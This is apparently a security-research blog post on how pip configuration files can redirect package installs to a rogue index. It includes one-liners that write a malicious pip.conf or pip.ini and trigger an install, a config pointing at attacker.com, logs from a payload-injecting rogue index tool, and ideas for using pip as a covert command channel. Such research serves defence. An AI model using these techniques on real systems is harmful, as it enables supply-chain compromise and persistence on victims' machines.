September 18 / 2024 / Reading Time: less than 1 minute

Pip Dreams and Security Schemes: Chaos in your Configuration Files

Back to All Insights

I

In the world of Python development, pip is an indispensable tool for managing packages and dependencies. While it simplifies many aspects of package management, there are risks associated with using pip configuration files (pip.conf or pip.ini) that developers and the people who manage systems using pip should be aware of.

Much has been said about the dangers lurking in malicious Python packages, and the risks posed by command-line and environmental variables. But what about the lesser-discussed — yet equally critical — pip configuration files? This article dives into how an attacker, or a savvy penetration tester, might exploit pip to create a backdoor, offering a fresh angle on where to focus your defenses. We'll explore the potential for using compromised pip settings to quietly install additional tools post-compromise, turning a seemingly innocuous configuration file into a powerful instrument of attack.

Pip Hierarchy

To understand how pip is used in an environment, it's important to understand the various methods that can change its default behaviour. Pip can be told which index server to talk to, whether to cache responses, whether to require a virtual environment, and plenty more.

These methods break down into three groups:

  • Command-line variables
  • Environmental variables
  • Configuration files

Precedence runs in that order — command line wins over environment, which wins over config files:

  • Command-line variable --index-url=foo overrides the environmental variable index-url=foo.
  • Environmental variable trusted-host=example.com overrides a configuration file with [global] trusted-host = example.com.
  • Configuration files — apart from command-specific settings like [install] — have a hierarchy of their own, detailed below.

Understanding Pip Configuration Files

Pip configuration files let developers and admins set default options for pip commands. Those settings can include the package index, install directories, proxy settings, and more.

According to the pip documentation, the loading order for configuration files is:

  • Global
  • User
  • Site
  • PIP_CONFIG_FILE, if set (per directory of a given Python project)

A typical configuration file looks like this:

pip.conf — example
[global]
default-timeout      = 60
respect-virtualenv   = true
download-cache       = /tmp
log-file             = /tmp/pip-log.txt

[install]
find-links =
   http://pypi.example.com
   http://pypi2.example.com

Configuration files can live in various places. To find out what your system is actually using, run pip config -v list. It prints the global, user, and site configuration files in play.

linux — pip config -v list 
For variant 'global', will try loading '/etc/xdg/xdg-pop/pip/pip.conf'
For variant 'global', will try loading '/etc/xdg/pip/pip.conf'
For variant 'global', will try loading '/etc/pip.conf'
For variant 'user',   will try loading '/home/user/.pip/pip.conf'
For variant 'user',   will try loading '/home/user/.config/pip/pip.conf'
For variant 'site',   will try loading '/usr/pip.conf'
Linux: where pip looks for its config files.
windows — pip config -v list 
For variant 'global', will try loading 'C:\ProgramData\pip\pip.ini'
For variant 'user',   will try loading 'C:\Users\user\pip\pip.ini'
For variant 'user',   will try loading 'C:\Users\user\AppData\Roaming\pip\pip.ini'
For variant 'site',   will try loading 'C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.X.X.X\pip.ini'
Windows: same idea, different paths.

Step back for a second. The user config is the second one loaded — and if an option isn't set globally, the user file wins. Configuration locations can also be declared in pip without actually existing on disk. You can check that with pip config debug.

pip config debug 
env_var:
env:
global:
  /etc/xdg/xdg-pop/pip/pip.conf, exists: False
  /etc/xdg/pip/pip.conf,         exists: False
  /etc/pip.conf,                 exists: True
    global.extra-index-url: https://pypi.org/simple
site:
  /usr/pip.conf,                 exists: False
user:
  /home/user/.pip/pip.conf,         exists: False
  /home/user/.config/pip/pip.conf,  exists: True
    global.index-url:           https://attacker.com:7979/simple/
    global.trusted-host:        attacker.com
    global.no-cache-dir:        true
    global.require-virtualenv:  false
The user's config is quietly pointing pip at an attacker-controlled index.

As shown above, the global config /etc/pip.conf exists and defines an extra-index-url. That leaves index-url undefined — and free for another file to set.

A seemingly innocuous config file becomes a powerful instrument of attack.

Pip Exploitation

To tell pip which index server to use, trust a host, or check for additional packages, we define those directives in a configuration file. The following are especially useful when trying to subvert pip:

useful directives
index-url       = https://example.com/simple
extra-index-url = https://example.com/simple
trusted-host    = example.com
find-links      = https://example.com/packages

You can also stop pip using cached packages:

disable caching
no-cache-dir = true

…and make sure a virtual environment isn't required:

drop the venv requirement
require-virtualenv = false

Note: when a user runs pip after changing their configuration file, the console largely displays which server pip is talking to. Worth knowing — both for blue teams looking, and red teams hoping nobody is.

Oneliner Examples

With pip we can have it execute an agent, tool, or whatever else we like. Code execution via setup.py in Python packages is well documented — what's less discussed is doing the same through a configuration file.

linux — oneliner 
$ echo -e "[global]\nextra-index-url = https://pypi.example.com/simple/\nno-cache-dir = true\nrequire-virtualenv = false" \
    > ~/.config/pip/pip.conf; pip install talkingabouttrees
Write a malicious user config, then trigger an install in one shot.
windows — oneliner 
> mkdir %APPDATA%\pip & ^
  echo [global]                                            >> "%APPDATA%\pip\pip.ini" & ^
  echo extra-index-url = https://pypi.reuted.com/simple/   >> "%APPDATA%\pip\pip.ini" & ^
  echo no-cache-dir = true                                 >> "%APPDATA%\pip\pip.ini" & ^
  echo require-virtualenv = false                          >> "%APPDATA%\pip\pip.ini" & ^
  pip install jamesearljones
Same idea on Windows.

That sets the index URL and disables both the virtualenv requirement and caching. Then it installs the chosen package from our PyPI server. From a red team perspective this has a useful advantage over command-line variables: the index server doesn't show up when somebody pokes through process listings.

Rogue PyPI

What happens when a user's configuration file is pointed at a rogue index server? To find out, OccamSec built a tool called Pypigeon — it lets an attacker inject Python code into requested packages, and host tooling that's handy during a red team engagement.

An interesting side note: the User-Agent pip sends to an index server reveals a lot about its environment. You could almost call it a built-in C2 beacon callback. We'll see that in a moment.

For this example we first inject our rogue index server into /home/user/.config/pip/pip.conf — that can be done with the oneliner above. Either way, we want the configuration file to look like this:

~/.config/pip/pip.conf
[global]
index-url          = https://example.com:7979/simple/
no-cache-dir       = true
require-virtualenv = false

Then we spin up the rogue index server, with a command-line option to inject a simple Python print statement into any requested package:

pypigeon — rogue index 
user@host:~$ python pypigeon.py --help
usage: pypigeon.py [-h] -p PORT [-ua] [-f FPAYLOAD] [-c CPAYLOAD] [-l LPAC]

[PyPigeon: Rogue pypi server]

optional arguments:
  -h, --help   show this help message and exit
  -p PORT      Port to listen on
  -ua          Displays informative User-Agent from request
  -f FPAYLOAD  Set payload from file to append to setup.py
  -c CPAYLOAD  Set payload from command line  [ex: -c print('Haxed')]
  -l LPAC      Serve local package

user@host:~$ python pypigeon.py -p 7979 -ua -c "print('OSec')"
[ PyPigeon: pypi server started on port 7979 ]
Pypigeon, the OccamSec-built rogue index server, ready and listening.

Now any time the victim runs pip install, our rogue index server injects code. We used the -ua flag — that shows us the pip User-Agent. (The IP below has been changed to 0.0.0.0.)

pypigeon — incoming request 
[0.0.0.0] pip User-Agent: pip/22.0.2
{
  "ci": null,
  "cpu": "x86_64",
  "distro": {
    "id": "jammy",
    "libc": { "lib": "glibc", "version": "2.35" },
    "name": "Ubuntu",
    "version": "22.04"
  },
  "implementation": { "name": "CPython", "version": "3.10.12" },
  "installer":      { "name": "pip",     "version": "22.0.2"  },
  "openssl_version": "OpenSSL 3.0.2 15 Mar 2022",
  "python": "3.10.12",
  "setuptools_version": "59.6.0",
  "system": { "name": "Linux", "release": "6.9.3-76060903-generic" }
}
[0.0.0.0] Received index request for /simple/whatever/
[0.0.0.0] Sending link /packages/whatever-0.7.tar.gz instead of
          https://files.pythonhosted.org/packages/.../whatever-0.7.tar.gz
[0.0.0.0] Received package request for /packages/whatever-0.7.tar.gz
[0.0.0.0] Exploding whatever-0.7.tar.gz from pypi.org
[0.0.0.0] Adding payload to setup.py: print('OSec was here')
[0.0.0.0] Re-creating whatever-0.7.tar.gz
[0.0.0.0] Sending whatever-0.7.tar.gz back to client
The User-Agent alone is essentially a fingerprint of the victim host.

From the user's perspective nothing looks unusual — except, of course, the conversation with the rogue index server. To actually see our injected print statement they'd need to run pip with -v:

victim — pip install -v whatever 
user@host:~$ pip install -v whatever
Using pip 22.0.2 from /usr/lib/python3/dist-packages/pip (python 3.10)
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://example.com:7979/simple/
Collecting whatever
  Downloading https://example.com:7979/packages/whatever-0.7.tar.gz
     - 6.4 kB ? 0:00:00
  Running command python setup.py egg_info
  running egg_info
  creating /tmp/pip-pip-egg-info-xbz4i_qv/whatever.egg-info
  writing /tmp/pip-pip-egg-info-xbz4i_qv/whatever.egg-info/PKG-INFO
  writing dependency_links to .../dependency_links.txt
  writing top-level names to .../top_level.txt
  writing manifest file '.../SOURCES.txt'
  reading manifest file '.../SOURCES.txt'
  reading manifest template 'MANIFEST.in'
  adding license file 'LICENSE'
  writing manifest file '.../SOURCES.txt'
  OSec was here
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: whatever
  Running command python setup.py bdist_wheel
Etc etc
Buried in verbose output: our payload firing during install.

Additional Research

If you want to go further down the rabbit hole, here are a few threads worth pulling:

  • Pip configuration files can be modified per-command section, such as [install] or [freeze] — see the pip docs.
  • Could Python's ensurepip() be a useful tool in your arsenal?
  • Imagine a C2 agent that requests a random package every so often through pip. When the operator wants to send a command, that package "exists" — gets installed — then uninstalled.
  • Pip lets you set a log or cache file location. How could that be repurposed for less friendly ends?
  • How could the PIP_CONFIG_FILE environment variable be abused?

Conclusion

Securing pip is tricky business. You've got environmental variables, command-line variables, and several layers of configuration files to think about. Even if index-url is set in a global configuration context, a malicious actor can still use pip to drag in malicious packages with extra-index-url or find-links.

Restricting access to configuration files, or making them read-only, takes a bite out of the problem. But as we've shown, there are many ways pip can be exploited — so care should be taken to limit its use in production environments.

// OccamSec Research
We protect what matters.

 

Share This Insight: